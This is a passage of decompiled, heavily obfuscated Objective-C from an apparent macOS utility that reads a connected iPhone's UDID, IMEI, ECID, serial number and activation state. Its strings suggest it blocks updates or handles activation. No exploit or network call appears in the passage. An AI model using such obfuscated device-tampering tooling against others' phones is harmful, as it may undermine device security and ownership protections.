asc_10027A69C[3] = 100;
asc_10027A69C[4] = 98;
asc_10027A69C[5] = 103;
asc_10027A69C[6] = 0;
aK_7[0] = 105;
aK_7[1] = 84;
aK_7[2] = 101;
aK_7[3] = 114;
aK_7[4] = 109;
aK_7[5] = 0;
strcpy(asc_10027A5E5, "execsnoop");
strcpy(aV_9, "Class-dump");
aAd[0] = 82;
aAd[1] = 97;
aAd[2] = 100;
aAd[3] = 97;
aAd[4] = 114;
aAd[5] = 101;
aAd[6] = 50;
aAd[7] = 0;
asc_10027A676[0] = 100;
asc_10027A676[1] = 116;
asc_10027A676[2] = 114;
asc_10027A676[3] = 117;
asc_10027A676[4] = 115;
asc_10027A676[5] = 115;
asc_10027A676[6] = 0;
asc_10027A5FE[0] = 70;
asc_10027A5FE[1] = 114;
asc_10027A5FE[2] = 105;
asc_10027A5FE[3] = 100;
asc_10027A5FE[4] = 97;
v5 = 0;
asc_10027A5FE[5] = 45;
v3 = -1619220759;
v6 = 2087145448;
goto LABEL_238;
}
if ( v54 == -1590129916 )
{
v5 = 1;
v3 = 2145666506;
v6 = 1469021048;
goto LABEL_238;
}
}
if ( v54 != -1459396122 )
break;
LABEL_173:
*v71 = 356247173;
}
}
while ( v54 != -1565650839 );
}
// 10027B3B0: using guessed type __CFString stru_10027B3B0;
// 10027B3F0: using guessed type __CFString stru_10027B3F0;
// 10027B430: using guessed type __CFString stru_10027B430;
// 10027B470: using guessed type __CFString cfstr_4u_0;
// 10027B4B0: using guessed type __CFString stru_10027B4B0;
// 10027B4F0: using guessed type __CFString stru_10027B4F0;
// 10027B530: using guessed type __CFString cfstr_C_10_0;
// 10027B570: using guessed type __CFString cfstr_SF_0;
// 10027B5B0: using guessed type __CFString stru_10027B5B0;
// 10027B5F0: using guessed type __CFString cfstr_Kf_0;
// 10027B630: using guessed type __CFString cfstr_R_10_0;
// 10027B670: using guessed type __CFString stru_10027B670;
// 10027B6B0: using guessed type __CFString cfstr_Lh_0;
// 10027B6F0: using guessed type __CFString cfstr_A_11_0;
// 10027B730: using guessed type __CFString stru_10027B730;
// 10027B770: using guessed type __CFString stru_10027B770;
// 10027B7B0: using guessed type __CFString stru_10027B7B0;
// 10027B7F0: using guessed type __CFString stru_10027B7F0;
// 10027B830: using guessed type __CFString cfstr_9_3_0;
// 10027B870: using guessed type __CFString stru_10027B870;
// 10027B8B0: using guessed type __CFString stru_10027B8B0;
// 10027B8F0: using guessed type __CFString stru_10027B8F0;
// 10027B930: using guessed type __CFString cfstr_Z_8_0;
// 10027B970: using guessed type __CFString stru_10027B970;
// 10027B9B0: using guessed type __CFString cfstr_Ap_0;
// 10027B9F0: using guessed type __CFString stru_10027B9F0;
// 10027BA30: using guessed type __CFString stru_10027BA30;
// 10027BA70: using guessed type __CFString cfstr_R_11_0;
// 10027BAB0: using guessed type __CFString cfstr_W_8_0;
// 10027BAF0: using guessed type __CFString cfstr_67j_0;
// 10027BB30: using guessed type __CFString cfstr_B_4_0;
// 10027BB70: using guessed type __CFString stru_10027BB70;
// 10027BBB0: using guessed type __CFString cfstr_V_9_0;
// 10027BBF0: using guessed type __CFString stru_10027BBF0;
// 10027BC30: using guessed type __CFString cfstr_B_5_0;
// 10027BC70: using guessed type __CFString stru_10027BC70;
// 10027BCB0: using guessed type __CFString cfstr_Q_3_0;
// 10027BCF0: using guessed type __CFString stru_10027BCF0;
// 10027BD30: using guessed type __CFString cfstr_Ad_0;
// 10027BD70: using guessed type __CFString cfstr_1_4_0;
// 10027BDB0: using guessed type __CFString stru_10027BDB0;
// 10027BDF0: using guessed type __CFString stru_10027BDF0;
// 10027BE30: using guessed type __CFString cfstr_J_10_0;
// 10027BE70: using guessed type __CFString cfstr_N_20_0;
// 10027BEB0: using guessed type __CFString stru_10027BEB0;
// 10027BEF0: using guessed type __CFString stru_10027BEF0;
// 10027BF30: using guessed type __CFString stru_10027BF30;
// 10027BF70: using guessed type __CFString cfstr_K_7_0;
// 10027BFB0: using guessed type __CFString cfstr_B_7_0;
// 10027BFF0: using guessed type __CFString stru_10027BFF0;
// 10029F538: using guessed type int dword_10029F538;
//----- (00000001000EE2A9) ----------------------------------------------------
void __cdecl -[AppDelegate deviceNotificationReceivedWithInfo:](AppDelegate *self, SEL a2, _AMDeviceList *a3)
{
bool v3; // zf
int v4; // eax
int v5; // ecx
id v6; // rax
id v7; // rax
char v8; // cf
int v9; // ecx
bool v10; // zf
int v11; // ecx
NSDictionary *v12; // rax
bool v13; // cf
int v14; // ecx
id v15; // rax
id v16; // rax
id v17; // rax
__int64 v18; // rax
id v19; // rax
id v20; // rax
id v21; // rdi
__int64 v22; // rax
id v23; // rax
id v24; // r12
id v25; // r15
id v26; // rax
id v27; // rbx
id v28; // rax
id v29; // rax
NSDictionary *v30; // rax
void *v31; // rax
__CFString *v32; // rbx
__CFString *v33; // r12
id v34; // rdi
void *v35; // rax
__int64 v36; // rax
__int64 v37; // rax
NSString *v38; // rax
NSString *v39; // rbx
void *v40; // rax
id v41; // rdi
void *v42; // rbx
id v43; // rax
void *v44; // rbx
id v45; // rax
void *v46; // rax
id v47; // rdi
id v48; // rax
id v49; // rax
__int64 v50; // rax
NSString *v51; // rax
NSString *v52; // rax
id v53; // rdi
id v54; // rax
id v55; // rbx
id v56; // rax
id v57; // r12
id v58; // rax
id v59; // rax
id v60; // rax
int v61; // eax
id v62; // rax
id v63; // rax
void *v64; // rax
__CFString *v65; // rbx
__CFString *v66; // r13
id v67; // rdi
__CFString *v68; // rbx
__CFString *v69; // rdx
__int64 v70; // rax
NSString *v71; // rax
NSString *v72; // rax
void *v73; // rax
id v74; // rdi
void *v75; // rbx
id v76; // rax
void *v77; // rbx
id v78; // rax
void *v79; // rax
id v80; // rdi
id v81; // rax
id v82; // rbx
__int64 v83; // rax
NSString *v84; // rax
NSString *v85; // rax
id v86; // rdi
id v87; // rax
id v88; // rbx
id v89; // rax
id v90; // r12
NSString *v91; // rax
NSString *v92; // rbx
id v93; // rax
id v94; // rax
id v95; // rax
id v96; // rax
id v97; // rdi
unsigned __int8 v98; // bl
id v99; // rbx
id v100; // rax
id v101; // r12
id v102; // r15
id v103; // rax
id v104; // rbx
id v105; // rax
id *v106; // r15
id v107; // rax
id v108; // rbx
NSImage *v109; // rax
NSImage *v110; // rbx
id v111; // r15
id v112; // rax
id v113; // rbx
id v114; // rax
id v115; // rbx
id v116; // rax
void **v117; // r15
id v118; // rbx
id v119; // rax
id v120; // rax
NSString *v121; // rax
NSString *v122; // rax
NSString *v123; // rax
NSString *v124; // rbx
id v125; // rax
id v126; // rbx
NSString *v127; // rax
NSString *v128; // rbx
id v129; // rax
id v130; // rbx
id v131; // rax
id v132; // rbx
NSString *v133; // rax
NSString *v134; // r12
id v135; // rax
id v136; // rbx
id v137; // rax
id v138; // rax
id v139; // rbx
unsigned __int8 v140; // r12
id v141; // rax
id v142; // rax
NSString *v143; // rax
NSImage *v144; // rax
NSImage *v145; // rbx
id v146; // rax
id v147; // rax
id v148; // rax
id v149; // rbx
id v150; // rax
unsigned __int8 v151; // bl
__CFString *v152; // rdx
__int64 v153; // [rsp+0h] [rbp-1B0h] BYREF
SEL v154; // [rsp+8h] [rbp-1A8h]
SEL v155; // [rsp+10h] [rbp-1A0h]
_AMDevice *var0; // [rsp+18h] [rbp-198h]
SEL v157; // [rsp+20h] [rbp-190h]
id *p_var1; // [rsp+28h] [rbp-188h]
id v159; // [rsp+30h] [rbp-180h]
CFArrayRef theArray; // [rsp+38h] [rbp-178h]
__CFString *v161; // [rsp+40h] [rbp-170h]
id v162; // [rsp+48h] [rbp-168h]
__int64 v163; // [rsp+50h] [rbp-160h]
SEL v164; // [rsp+58h] [rbp-158h]
SEL v165; // [rsp+60h] [rbp-150h]
SEL v166; // [rsp+68h] [rbp-148h]
id v167; // [rsp+70h] [rbp-140h]
id v168; // [rsp+78h] [rbp-138h]
SEL v169; // [rsp+80h] [rbp-130h]
SEL v170; // [rsp+88h] [rbp-128h]
__objc2_class *v171; // [rsp+90h] [rbp-120h]
SEL v172; // [rsp+98h] [rbp-118h]
id v173; // [rsp+A0h] [rbp-110h]
_AMDeviceList *v174; // [rsp+A8h] [rbp-108h]
unsigned int v175; // [rsp+B0h] [rbp-100h]
int v176; // [rsp+B4h] [rbp-FCh]
int v177; // [rsp+B8h] [rbp-F8h] BYREF
unsigned int v178; // [rsp+BCh] [rbp-F4h]
SEL v179; // [rsp+C0h] [rbp-F0h]
SEL v180; // [rsp+C8h] [rbp-E8h]
id v181; // [rsp+D0h] [rbp-E0h]
id v182; // [rsp+D8h] [rbp-D8h]
id v183; // [rsp+E0h] [rbp-D0h]
id v184; // [rsp+E8h] [rbp-C8h]
id v185; // [rsp+F0h] [rbp-C0h]
id v186; // [rsp+F8h] [rbp-B8h]
id v187; // [rsp+100h] [rbp-B0h]
id v188; // [rsp+108h] [rbp-A8h]
SEL v189; // [rsp+110h] [rbp-A0h]
id v190; // [rsp+118h] [rbp-98h]
id v191; // [rsp+120h] [rbp-90h]
id v192; // [rsp+128h] [rbp-88h]
id v193; // [rsp+130h] [rbp-80h]
id WeakRetained; // [rsp+138h] [rbp-78h]
CFArrayRef *v195; // [rsp+140h] [rbp-70h]
__int64 *v196; // [rsp+148h] [rbp-68h]
__int64 *v197; // [rsp+150h] [rbp-60h]
int var1; // [rsp+15Ch] [rbp-54h]
id v199; // [rsp+160h] [rbp-50h]
bool v200; // [rsp+16Ch] [rbp-44h]
bool v201; // [rsp+16Dh] [rbp-43h]
char v202; // [rsp+16Eh] [rbp-42h]
bool v203; // [rsp+16Fh] [rbp-41h]
bool v204; // [rsp+170h] [rbp-40h]
unsigned __int8 v205; // [rsp+171h] [rbp-3Fh]
bool v206; // [rsp+172h] [rbp-3Eh]
bool v207; // [rsp+173h] [rbp-3Dh]
char v208; // [rsp+174h] [rbp-3Ch]
char v209; // [rsp+175h] [rbp-3Bh]
char v210; // [rsp+176h] [rbp-3Ah]
char v211; // [rsp+177h] [rbp-39h]
int *v212; // [rsp+178h] [rbp-38h]
__int64 v213; // [rsp+180h] [rbp-30h]
v174 = a3;
v199 = self;
v213 = -1;
v175 = 1090183730;
v177 = 562417931;
v212 = &v177;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v177 <= -32398496 )
{
if ( v177 <= -991275871 )
{
if ( v177 > -1541357433 )
{
if ( v177 <= -1280662958 )
{
if ( v177 <= -1411804774 )
{
if ( v177 > -1516897480 )
{
switch ( v177 )
{
case -1516897479:
v8 = 1;
ct = 0;
var0 = v174->var0;
v171 = &OBJC_CLASS___iOSDevice;
v4 = 1331410160;
v9 = -1516897479;
goto LABEL_537;
case -1452509449:
v3 = !v203;
v4 = -303872015;
v5 = 58255063;
goto LABEL_533;
case -1441882463:
*v212 = 1703865302;
break;
}
}
else
{
switch ( v177 )
{
case -1541357432:
v10 = 0;
v4 = 1912895720;
v11 = -1541357432;
goto LABEL_549;
case -1537641234:
v13 = 1;
v176 = dword_10029F53C;
v4 = -1537641234;
v14 = 1540745663;
goto LABEL_543;
case -1535307590:
objc_msgSend(v191, "isEqualToString:", CFSTR("\n畓I\x1CY&\\"));
objc_release(v191);
*v212 = -2044474326;
break;
}
}
}
else if ( v177 <= -1364197197 )
{
switch ( v177 )
{
case -1411804773:
v201 = CFArrayGetCount(theArray) > 0;
v8 = 0;
v4 = 2086828236;
v9 = 1034915381;
goto LABEL_537;
case -1404118446:
v3 = 0;
v4 = -669315219;
v5 = 1084270895;
goto LABEL_533;
case -1394631854:
v8 = 0;
v208 = InProcessDevice;
v4 = 233122585;
v9 = -943713225;
goto LABEL_537;
}
}
else if ( v177 > -1332613909 )
{
if ( v177 == -1332613908 )
{
v106 = (id *)v199;
v107 = objc_msgSend(v199, "activateButton");
v108 = objc_retainAutoreleasedReturnValue(v107);
objc_msgSend(v108, "setEnabled:", 0);
objc_release(v108);
objc_msgSend(v106[1], "setStringValue:", &stru_10025B688);
objc_msgSend(v106[6], "setStringValue:", &stru_10025B688);
HikariFunctionWrapper_17201(v106[2], "setStringValue:");
HikariFunctionWrapper_17203(v106[3], "setStringValue:");
HikariFunctionWrapper_17205(v106[4], "setStringValue:");
objc_msgSend(v106[5], "setStringValue:", &stru_10025B688);
*v212 = 1953827607;
}
else if ( v177 == -1327709816 )
{
goto LABEL_332;
}
}
else if ( v177 == -1364197196 )
{
*v212 = 533237163;
}
else if ( v177 == -1351366553 )
{
objc_release(v159);
*v212 = 2042519416;
}
}
else if ( v177 > -1160730044 )
{
if ( v177 <= -1090629525 )
{
switch ( v177 )
{
case -1160730043:
v109 = +[NSImage imageNamed:](
&OBJC_CLASS___NSImage,
"imageNamed:",
CFSTR("\xCF\x0D\x93XR\xBDA\xD6\x1D\x91\xE8\xE4\x27\xBD^\r\x15l"));
v110 = objc_retainAutoreleasedReturnValue(v109);
objc_msgSend(WeakRetained, "setImage:", v110);
objc_release(v110);
objc_release(WeakRetained);
v111 = v199;
v112 = objc_msgSend(v199, "panel_viewConnection");
v113 = objc_retainAutoreleasedReturnValue(v112);
objc_msgSend(v113, "selectTabViewItemAtIndex:", 0);
objc_release(v113);
v114 = HikariFunctionWrapper_17257(v111, "Progress");
v115 = objc_retainAutoreleasedReturnValue(v114);
HikariFunctionWrapper_17259(v115, "setHidden:");
objc_release(v115);
*v212 = 310916450;
break;
case -1134702963:
*v212 = 651786118;
break;
case -1111272986:
v13 = 1;
v4 = 1061461498;
v14 = 477649090;
goto LABEL_543;
}
}
else if ( v177 > -1026787321 )
{
if ( v177 == -1026787320 )
{
v8 = 0;
v4 = 1233330656;
v9 = -1790742372;
goto LABEL_537;
}
if ( v177 == -1009751944 )
*v212 = -253879301;
}
else if ( v177 == -1090629524 )
{
v200 = v176 == 0;
*v212 = 1749687323;
}
else if ( v177 == -1058804039 )
{
*v212 = 1881209322;
}
}
else if ( v177 <= -1227657890 )
{
switch ( v177 )
{
case -1280662957:
objc_release(v184);
*v212 = -627617174;
break;
case -1264141308:
HikariFunctionWrapper_17253(v192, v170);
*v212 = 617040549;
break;
case -1250968578:
v8 = 1;
v4 = 2069087291;
v9 = 1858429464;
goto LABEL_537;
}
}
else if ( v177 > -1210101758 )
{
if ( v177 == -1210101757 )
goto LABEL_436;
if ( v177 == -1170958693 )
{
v13 = 1;
v4 = -1718560990;
v14 = -901307893;
goto LABEL_543;
}
}
else if ( v177 == -1227657889 )
{
*v212 = 60415878;
}
else if ( v177 == -1220793184 )
{
*v212 = -919518425;
}
}
else if ( v177 <= -1883602361 )
{
if ( v177 <= -1975343457 )
{
if ( v177 > -2074539282 )
{
switch ( v177 )
{
case -2074539281:
*v212 = -1541357432;
break;
case -2049213024:
v178 = -252252805;
+[iOSDevice setActStatus:](&OBJC_CLASS___iOSDevice, "setActStatus:", v163);
v64 = (void *)AMDeviceCopyValue(idevice);
HikariFunctionWrapper_17153(&OBJC_CLASS___iOSDevice, "setIMEI:");
objc_release(v64);
v65 = (__CFString *)AMDeviceCopyValue(idevice);
v66 = v65;
if ( !v65 )
v66 = &stru_10025B688;
objc_retain(v66);
v67 = imei2;
imei2 = v66;
objc_release(v67);
objc_release(v65);
v68 = (__CFString *)AMDeviceCopyValue(idevice);
v69 = v68;
if ( !v68 )
v69 = &stru_10025B688;
+[iOSDevice setRegionCode:](&OBJC_CLASS___iOSDevice, "setRegionCode:", v69);
objc_release(v68);
AMDeviceCopyValue(idevice);
HikariFunctionWrapper_17155(&OBJC_CLASS___iOSDevice, "setProductType:");
v70 = HikariFunctionWrapper_17157(idevice);
v71 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xD2\x373"),
v70);
v72 = objc_retainAutoreleasedReturnValue(v71);
HikariFunctionWrapper_17159(&OBJC_CLASS___iOSDevice, "setIOSVersion:");
objc_release(v72);
v73 = (void *)HikariFunctionWrapper_17161(idevice);
v74 = DeviceClass;
DeviceClass = v73;
objc_release(v74);
v75 = (void *)AMDeviceCopyValue(idevice);
v76 = HikariFunctionWrapper_17163(v75, "stringByReplacingOccurrencesOfString:withString:");
v184 = objc_retainAutoreleasedReturnValue(v76);
objc_release(v75);
v77 = (void *)AMDeviceCopyValue(idevice);
v78 = HikariFunctionWrapper_17165(v77, "stringByReplacingOccurrencesOfString:withString:");
v185 = objc_retainAutoreleasedReturnValue(v78);
objc_release(v77);
v79 = (void *)HikariFunctionWrapper_17167(idevice);
v80 = armClass;
armClass = v79;
objc_release(v80);
AMDeviceCopyValue(idevice);
v81 = HikariFunctionWrapper_17169(&OBJC_CLASS___NSString, "stringWithFormat:");
v82 = objc_retainAutoreleasedReturnValue(v81);
+[iOSDevice setUniqueKeyAuth:](&OBJC_CLASS___iOSDevice, "setUniqueKeyAuth:", v82);
objc_release(v82);
v83 = HikariFunctionWrapper_17171(idevice);
v84 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xD2\x373"),
v83);
v85 = objc_retainAutoreleasedReturnValue(v84);
v86 = BUILD;
BUILD = v85;
objc_release(v86);
v180 = "ProductType";
v87 = HikariFunctionWrapper_17173(&OBJC_CLASS___iOSDevice, "ProductType");
v88 = objc_retainAutoreleasedReturnValue(v87);
v89 = DetermineModel(v88);
v90 = objc_retainAutoreleasedReturnValue(v89);
+[iOSDevice setModel:](&OBJC_CLASS___iOSDevice, "setModel:", v90);
objc_release(v90);
objc_release(v88);
v154 = "UniqueKeyAuth";
v91 = +[iOSDevice UniqueKeyAuth](&OBJC_CLASS___iOSDevice, "UniqueKeyAuth");
v92 = objc_retainAutoreleasedReturnValue(v91);
objc_release(v92);
v203 = v92 == 0;
v13 = v178 < 0xB97CFCC1;
v4 = -1452509449;
v14 = 1970606246;
goto LABEL_543;
case -2044474326:
v205 = (unsigned __int8)objc_msgSend(v191, "isEqualToString:", CFSTR("\n畓I\x1CY&\\"));
objc_release(v191);
v3 = 0;
v4 = -1535307590;
v5 = 817793401;
goto LABEL_533;
}
}
else
{
switch ( v177 )
{
case -2143224204:
*v212 = -185538752;
break;
case -2082126662:
v206 = v205 == 0;
v10 = 0;
v192 = AldazDevClass;
v4 = 922759060;
v11 = -2082126662;
goto LABEL_549;
case -2075154351:
HikariFunctionWrapper_17195(v192, v169);
v8 = 0;
v4 = -2075154351;
v9 = 380174890;
goto LABEL_537;
}
}
}
else if ( v177 <= -1929966661 )
{
switch ( v177 )
{
case -1975343456:
*v212 = -919518425;
break;
case -1949708360:
*v212 = -563113805;
break;
case -1939176361:
v10 = 0;
v4 = -1771195099;
v11 = 1275607350;
goto LABEL_549;
}
}
else if ( v177 > -1919808564 )
{
if ( v177 == -1919808563 )
{
HikariFunctionWrapper_17243(&OBJC_CLASS___iOSDevice, "setECID:");
objc_release(v187);
objc_release(v186);
*v212 = -911138644;
}
else if ( v177 == -1891774793 )
{
objc_release(v183);
v8 = 1;
v4 = 403635599;
v9 = 1164434844;
goto LABEL_537;
}
}
else
{
if ( v177 == -1929966660 )
{
HikariFunctionWrapper_17187(v188, v189);
objc_release(v188);
v99 = DeviceClass;
v100 = HikariFunctionWrapper_17189(&OBJC_CLASS___iOSDevice, v180);
v101 = objc_retainAutoreleasedReturnValue(v100);
v102 = v199;
objc_msgSend(
v199,
"updateDeviceImageForClass:andProductType:andDeviceColor:andColor2:",
v99,
v101,
v184,
v185);
objc_release(v101);
v103 = objc_msgSend(v102, "panel_viewConnection");
v104 = objc_retainAutoreleasedReturnValue(v103);
objc_msgSend(v104, "selectTabViewItemAtIndex:", 1);
objc_release(v104);
v105 = objc_msgSend(&OBJC_CLASS___iOSDevice, v164);
v181 = objc_retainAutoreleasedReturnValue(v105);
v155 = "isEqual:";
v204 = (unsigned __int8)objc_msgSend(v181, "isEqual:", &stru_10025B688) == 0;
v3 = 0;
v4 = -1929966660;
v5 = 1288288961;
goto LABEL_533;
}
if ( v177 == -1921582943 )
*v212 = 1781218977;
}
}
else if ( v177 > -1771195100 )
{
if ( v177 <= -1630773487 )
{
switch ( v177 )
{
case -1771195099:
v8 = 1;
v170 = "deviceNotificationChecker";
v4 = -1802519365;
v9 = 1275607350;
goto LABEL_537;
case -1725638767:
v13 = 1;
*v197 = (__int64)CFSTR("\x97\xFCzQ\x7F'<|\x19\xDC\x48L&");
v4 = -1725638767;
v14 = -462323284;
goto LABEL_543;
case -1718560990:
*v212 = -901307893;
break;
}
}
else if ( v177 > -1597539612 )
{
if ( v177 == -1597539611 )
{
objc_retain(v182);
v10 = 0;
v4 = 1725377519;
v11 = 824492881;
goto LABEL_549;
}
if ( v177 == -1565048796 )
{
v13 = 1;
v4 = 233122585;
v14 = -1394631854;
goto LABEL_543;
}
}
else if ( v177 == -1630773486 )
{
*v212 = -285721581;
}
else if ( v177 == -1625230240 )
{
objc_release(v181);
*v212 = -321291183;
}
}
else if ( v177 <= -1820155483 )
{
switch ( v177 )
{
case -1883602360:
v167 = &OBJC_CLASS___iOSDevice;
*v212 = 79894302;
break;
case -1856292233:
*v212 = 1026243471;
break;
case -1822078596:
*v212 = 1687579180;
break;
}
}
else if ( v177 > -1802519366 )
{
if ( v177 == -1802519365 )
{
*v212 = -971071864;
}
else if ( v177 == -1790742372 )
{
v19 = objc_msgSend(v162, v179);
v20 = objc_retainAutoreleasedReturnValue(v19);
v21 = UDID_DEVICE;
UDID_DEVICE = v20;
objc_release(v21);
v22 = HikariFunctionWrapper_17151(idevice);
v8 = 0;
v163 = v22;
v4 = 1233330656;
v9 = -2143224204;
goto LABEL_537;
}
}
else
{
if ( v177 == -1820155482 )
{
v13 = 1;
v4 = 311879686;
v14 = 601937832;
goto LABEL_543;
}
if ( v177 == -1817277970 )
{
v6 = HikariFunctionWrapper_17191(v167, v165);
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = 0;
v168 = v7;
v4 = 768964643;
v9 = -1630773486;
goto LABEL_537;
}
}
}
else if ( v177 <= -495987016 )
{
if ( v177 <= -772992788 )
{
if ( v177 <= -922091543 )
{
if ( v177 > -969386961 )
{
switch ( v177 )
{
case -969386960:
*v212 = 461341720;
break;
case -943713225:
*v212 = -1170958693;
break;
case -922356759:
v13 = 1;
v4 = 1657917025;
v14 = -395307709;
goto LABEL_543;
}
}
else
{
switch ( v177 )
{
case -991275870:
v150 = HikariFunctionWrapper_17241(v186);
objc_retainAutoreleasedReturnValue(v150);
*v212 = 683912353;
break;
case -991256937:
*v212 = 58255063;
break;
case -971071864:
v8 = 0;
v4 = -1264141308;
v9 = 617040549;
goto LABEL_537;
}
}
}
else if ( v177 <= -901307894 )
{
switch ( v177 )
{
case -922091542:
strcpy(asc_10027C470, "MatchConnectionType");
strcpy(asc_10027C1C0, "Unsupported Device!");
strcpy(asc_10027C24F, "DeviceColor");
strcpy(asc_10027C3F0, "InternationalMobileEquipmentIdentity");
asc_10027C4F7[0] = 77;
asc_10027C4F7[1] = 97;
asc_10027C4F7[2] = 116;
asc_10027C4F7[3] = 99;
asc_10027C4F7[4] = 104;
asc_10027C4F7[5] = 65;
asc_10027C4F7[6] = 108;
asc_10027C4F7[7] = 108;
asc_10027C4F7[8] = 0;
strcpy(asc_10027C330, "InternationalMobileEquipmentIdentity2");
strcpy(aE_16, "BuildVersion");
asc_100279FD9[0] = 37;
asc_100279FD9[1] = 64;
asc_100279FD9[2] = 0;
strcpy(asc_10027C281, "DeviceClass");
strcpy(asc_10027C2D3, "ProductType");
strcpy(aC_11, "RegionInfo");
strcpy(asc_10027C268, "MatchingMode");
strcpy(aG7, "No Device Connected, Plug It In!");
aIY[0] = 65;
*v212 = 1032879219;
break;
case -919518425:
v10 = 0;
v162 = &OBJC_CLASS___iOSDevice;
v179 = "UDID";
v4 = -346826002;
v11 = -919518425;
goto LABEL_549;
case -911138644:
+[iOSDevice setECID:](&OBJC_CLASS___iOSDevice, "setECID:", v187);
objc_release(v187);
objc_release(v186);
*v212 = -991256937;
break;
}
}
else if ( v177 > -864138866 )
{
if ( v177 == -864138865 )
{
asc_10027C0F7[0] = v211;
asc_10027C0F7[1] = 114;
asc_10027C0F7[2] = 111;
asc_10027C0F7[3] = 100;
asc_10027C0F7[4] = 117;
asc_10027C0F7[5] = 99;
asc_10027C0F7[6] = 116;
asc_10027C0F7[7] = 86;
asc_10027C0F7[8] = 101;
asc_10027C0F7[9] = 114;
asc_10027C0F7[10] = 115;
asc_10027C0F7[11] = 105;
asc_10027C0F7[12] = 111;
asc_10027C0F7[13] = 110;
asc_10027C0F7[14] = 0;
strcpy(aEz6b, "SerialNumber");
asc_10027C193[0] = 69;
asc_10027C193[1] = 114;
asc_10027C193[2] = 114;
asc_10027C193[3] = 111;
asc_10027C193[4] = 114;
asc_10027C193[5] = 0;
strcpy(asc_10027C222, "UniqueChipID");
strcpy(asc_10027C4D0, "RegionCode : %@ && BUILD : %@");
strcpy(aUb, "ActivationState");
strcpy(aGqJ, "MatchConnectionTypeUSB");
asc_10027C026[0] = 87;
asc_10027C026[1] = 97;
asc_10027C026[2] = 114;
asc_10027C026[3] = 110;
asc_10027C026[4] = 105;
asc_10027C026[5] = 110;
asc_10027C026[6] = 103;
asc_10027C026[7] = 0;
strcpy(asc_10027C200, "DeviceEnclosureColor");
strcpy(asc_10027C116, "CPUArchitecture");
strcpy(aY_11, "UniqueDeviceID");
asc_10027C486[0] = 35;
asc_10027C486[1] = 0;
aGbu[0] = 56;
aGbu[1] = 53;
aGbu[2] = 52;
aGbu[3] = 55;
aGbu[4] = 56;
aGbu[5] = 51;
aGbu[6] = 54;
aGbu[7] = 0;
strcpy(
aQY,
"Your device is already activated. This app can only block system updates on this phone.");
strcpy(asc_10027C160, "8547836_Undetected");
aG_16[0] = 78;
aG_16[1] = 111;
aG_16[2] = 114;
aG_16[3] = 109;
aG_16[4] = 97;
aG_16[5] = 108;
v8 = 1;
aG_16[6] = 0;
v4 = -1856292233;
v9 = -585349616;
goto LABEL_537;
}
if ( v177 == -812281781 )
{
v8 = 0;
v4 = -626627223;
v9 = -671844180;
goto LABEL_537;
}
}
else
{
if ( v177 == -901307893 )
{
v10 = 0;
v209 = v208 & 1;
v4 = 1872799921;
v11 = -901307893;
goto LABEL_549;
}
if ( v177 == -884138869 )
{
v13 = 1;
v4 = -234960923;
v14 = 1277474612;
goto LABEL_543;
}
}
}
else if ( v177 > -610160447 )
{
if ( v177 <= -575789945 )
{
switch ( v177 )
{
case -610160446:
*v212 = -884138869;
break;
case -602403542:
HikariFunctionWrapper_17251(v190, v189);
*v212 = -495987015;
break;
case -585349616:
asc_10027C0F7[0] = v211;
asc_10027C0F7[1] = 114;
asc_10027C0F7[2] = 111;
asc_10027C0F7[3] = 100;
asc_10027C0F7[4] = 117;
asc_10027C0F7[5] = 99;
asc_10027C0F7[6] = 116;
asc_10027C0F7[7] = 86;
asc_10027C0F7[8] = 101;
asc_10027C0F7[9] = 114;
asc_10027C0F7[10] = 115;
asc_10027C0F7[11] = 105;
asc_10027C0F7[12] = 111;
asc_10027C0F7[13] = 110;
asc_10027C0F7[14] = 0;
strcpy(aEz6b, "SerialNumber");
asc_10027C193[0] = 69;
asc_10027C193[1] = 114;
asc_10027C193[2] = 114;
asc_10027C193[3] = 111;
asc_10027C193[4] = 114;
asc_10027C193[5] = 0;
strcpy(asc_10027C222, "UniqueChipID");
strcpy(asc_10027C4D0, "RegionCode : %@ && BUILD : %@");
strcpy(aUb, "ActivationState");
strcpy(aGqJ, "MatchConnectionTypeUSB");
asc_10027C026[0] = 87;
asc_10027C026[1] = 97;
asc_10027C026[2] = 114;
asc_10027C026[3] = 110;
asc_10027C026[4] = 105;
asc_10027C026[5] = 110;
asc_10027C026[6] = 103;
asc_10027C026[7] = 0;
strcpy(asc_10027C200, "DeviceEnclosureColor");
strcpy(asc_10027C116, "CPUArchitecture");
strcpy(aY_11, "UniqueDeviceID");
asc_10027C486[0] = 35;
asc_10027C486[1] = 0;
aGbu[0] = 56;
aGbu[1] = 53;
aGbu[2] = 52;
aGbu[3] = 55;
aGbu[4] = 56;
aGbu[5] = 51;
aGbu[6] = 54;
aGbu[7] = 0;
strcpy(
aQY,
"Your device is already activated. This app can only block system updates on this phone.");
strcpy(asc_10027C160, "8547836_Undetected");
aG_16[0] = 78;
aG_16[1] = 111;
aG_16[2] = 114;
aG_16[3] = 109;
aG_16[4] = 97;
aG_16[5] = 108;
aG_16[6] = 0;
*v212 = -864138865;
break;
}
}
else if ( v177 > -556477398 )
{
if ( v177 == -556477397 )
{
HikariFunctionWrapper_17219(&OBJC_CLASS___iOSDevice, "setSerialNumber:");
*v212 = -32398495;
}
else if ( v177 == -499208771 )
{
v10 = 0;
v4 = -74883169;
v11 = -688282043;
goto LABEL_549;
}
}
else if ( v177 == -575789944 )
{
*v212 = 620164276;
}
else if ( v177 == -563113805 )
{
v8 = 1;
v4 = -1597539611;
v9 = 824492881;
goto LABEL_537;
}
}
else if ( v177 <= -669315220 )
{
switch ( v177 )
{
case -772992787:
*v212 = -51697044;
break;
case -688282043:
*v212 = -74883169;
break;
case -671844180:
v157 = "UDID";
v16 = HikariFunctionWrapper_17197(v171, "UDID");
v17 = objc_retainAutoreleasedReturnValue(v16);
v3 = 0;
v193 = v17;
v172 = "isNotEqualTo:";
v4 = -671844180;
v5 = -1364197196;
goto LABEL_533;
}
}
else if ( v177 > -627617175 )
{
if ( v177 == -627617174 )
{
objc_release(v184);
*v212 = 2070330409;
}
else if ( v177 == -626627223 )
{
v60 = HikariFunctionWrapper_17255(v171, "UDID");
objc_retainAutoreleasedReturnValue(v60);
*v212 = -671844180;
}
}
else if ( v177 == -669315219 )
{
v143 = +[iOSDevice ActStatus](&OBJC_CLASS___iOSDevice, "ActStatus");
